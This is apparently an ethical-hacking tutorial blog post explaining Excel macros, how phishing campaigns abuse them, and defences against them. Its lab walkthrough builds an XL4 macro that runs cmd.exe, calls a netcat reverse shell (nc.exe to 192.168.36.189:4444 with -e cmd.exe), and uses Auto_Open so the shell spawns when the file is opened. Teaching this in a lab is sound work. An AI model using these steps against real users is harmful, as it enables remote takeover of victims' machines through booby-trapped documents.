Hello, aspiring ethical hackers. In our previous blogpost, you learnt about Macros and their role in cybersecurity. In this article, you will learn about Excel Macros. When people start learning Ethical Hacking, they often focus on tools, exploits and technical vulnerabilities. However, many real-world attacks do not begin with complex hacking techniques. Instead, they start with something simple and familiar like an Excel file. One of the most common reasons Excel files are abused in attacks is the presence of macros.
For beginners in ethical hacking, understanding Excel macros is essential as they demonstrate how legitimate features can become security risks when trust is misused.
What Are Excel Macros?
An Excel macro is a small program that automates tasks inside a spreadsheet. Instead of repeating the same steps manually such as formatting data, running calculations or copying information, a macro allows Excel to perform these actions automatically.
Excel macros are written using VBA (Visual Basic for Applications), a scripting language built into Microsoft Office. Many users create macros by recording their actions, meaning no advanced programming knowledge is required. Macro-enabled Excel files usually have the .xlsm extension. From a cybersecurity perspective, the key point is that macros are executable code inside a document.
Why Excel Macros Matter in Cybersecurity?
Excel macros matter because documents are generally trusted. Users expect spreadsheets to be safe and attackers take advantage of this trust. Macros are important in cybersecurity because:
- They run inside a trusted application
- They require user interaction rather than exploiting software bugs
- They are common in corporate environments
- They blend in with everyday business workflows
For beginners, macros are a clear example of how attacks often rely on human behavior and not just technical weaknesses.
How Excel Macros Work?
When a user opens a macro-enabled Excel file, Excel does not immediately run the macro. Instead, it displays a warning to users asking whether macros should be enabled. If the user chooses to enable macros:
- The macro code executes
- Excel allows the macro to automate tasks
- The macro runs with the same permissions as the user
This design protects users, but attackers abuse it by convincing users that enabling macros is necessary to view or use the document.
How Attackers Abuse Excel Macros?
Attackers commonly use Excel macros as an initial access method. A typical scenario looks like this:
- A phishing email is sent with an Excel attachment
- The attached file claims to be an invoice, report or document that needs to be opened urgently
- The document instructs the user to enable macros
- Once enabled, the macro performs malicious actions
As you can see, no technical exploit is required. The success of the attack depends entirely on whether the user trusts the file.
Why Macro-Based Attacks Still Work?
Despite improvements in security controls, macro-based attacks remain effective because:
- Excel is widely used and trusted
- Many organizations rely on legacy macro-based workflows
- Users are often trained to enable macros for work
- Blocking all macros can disrupt business operations
For beginners, this shows why security is about trade-offs, not absolute rules.
Risks Associated with Excel Macros
When misused, Excel macros can:
- Modify or delete files
- Access sensitive data in spreadsheets
- Trigger additional malicious activity
- Act as the first step in larger attacks
As macros run under the user’s permissions, their impact depends on the user’s access level. This is why attackers often target employees with broader access.
What Excel Macros Teach Cybersecurity Beginners
Excel macros teach several foundational lessons to beginners like,
- Not all attacks require hacking tools
- User decisions play a major role in security
- Legitimate features can become attack vectors
- Awareness is a powerful defense
For beginners, macros are an excellent case study in real-world cybersecurity.
Practical Walkthrough
Now, let’s see how to create a Excel Macro that performs a malicious action. We will be performing this practical in the Basic Lab from our blogpost on Hacking Labs. Here are the lab requirements.
- Kali Linux (Attacker System)
- Windows OS with Microsoft Office installed (Target System)
On the target system, open Excel in Microsoft Office or the Office Suite. We are doing this on Microsoft Office 2007. You should see an Excel Workbook opened as shown below.
Right click on “Sheet 1” and select the “Insert” option as shown below.
In the newly opened window, select MS Excel 4.0 Macro and click on “OK”.
This will change the name of “Sheet 1” to “Macro 1” as shown below.
Save the file with the name you like. We have named it “evil_macro” for easy identification. While saving it, save it as a Macro Enabled Excel Workbook.
Once the file is saved, it’s time to create the code for macro. In the first column, which is named A1, we insert the command shown below.
=EXEC("cmd.exe")
You may not realize it yet, but you have already created your first XL4 macro. In the second column, i.e A2, insert another command “=HALT()”. This is to ensure that the macro you created does not face an error while running. It’s time to test your macro. Right Click on the first column and click on “Run” as shown below.
Most probably, this will open a new window as shown below. Click on “Run”.
Doing this opens a Windows CMD window as shown below.
Voila, we successfully created an Excel Macro and even executed it successfully. If you have noticed it, we opened a Windows CMD by inserting a simple code. Now, let’s make a few changes to the “evil_macro” file. Move the =HALT() command to A3 cell and enter command given below in cell A2. Save the file.
=ALERT("You have been hacked")
Right click on Cell A1 and select “Run” again just like you did before.
Now, we can see that apart from Windows CMD window being opened, another window popped up with the message “You have been hacked”. We have just performed two operations with macros in one file. Not just cmd.exe, we can open other programs like Notepad or Calc.exe using the “=exec” function.
Now, let’s try something a tiny bit advanced like spawning a reverse shell. Download the Netcat Windows executable. Open Notepad and insert the following command into it.
<Path to Netcat Windows executable> <target IP> <target port> -e cmd.exe
On our system, this command looks like this.
C:\Users\nspadm\Desktop\nc.exe 192.168.36.189 4444 -e cmd.exe
The “-e” option specifies which command to execute after netcat makes a successful connection. Now, save this file as a CMD file. This can be done by saving the file name inside double quotes. For example, “shell.cmd” and keeping the file type as “all files”.
Now, in your evil_macro file, change the =EXEC function to execute the shell.cmd file you just now created as shown below.
Save the file. Before executing the macro, start a Netcat listener on the attacker machine’s IP address you specified. We are using Kali as our attacker machine here.
Now, when you execute the macro, you should get a successful shell as shown below.
This is all fine but nobody will open an Excel file and execute some suspicious looking code in it. We need the code to run automatically as soon as the user opens the Excel file. To do this, Click on A1 cell of your “evil_macro” file and rename it to “Auto_Open” as shown below.
Save the changes and close the file. Start the netcat listener again. Now, just open the evil_macro file and you should see the successful spawning of reverse shell again.
Best Practices for Excel Macro Security
Cybersecurity beginners should be familiar with basic defenses against macro abuse. These include,
- Disabling macros by default
- Enabling macros only from trusted sources
- Avoiding macro-enabled files from email
- Using Protected View in Microsoft Office
- Keeping Office applications updated
- Learning to recognize social engineering techniques
Understanding these controls is just as important as learning attack techniques.
Conclusion
Excel macros are not inherently dangerous. They are powerful automation tools designed to make work easier. However, when attackers exploit user trust, macros can become a serious security risk. For cybersecurity beginners, learning about Excel macros builds an important mindset: always question where files come from and why a feature needs to be enabled. In cybersecurity, understanding how attacks really start is just as important as understanding how they get executed.
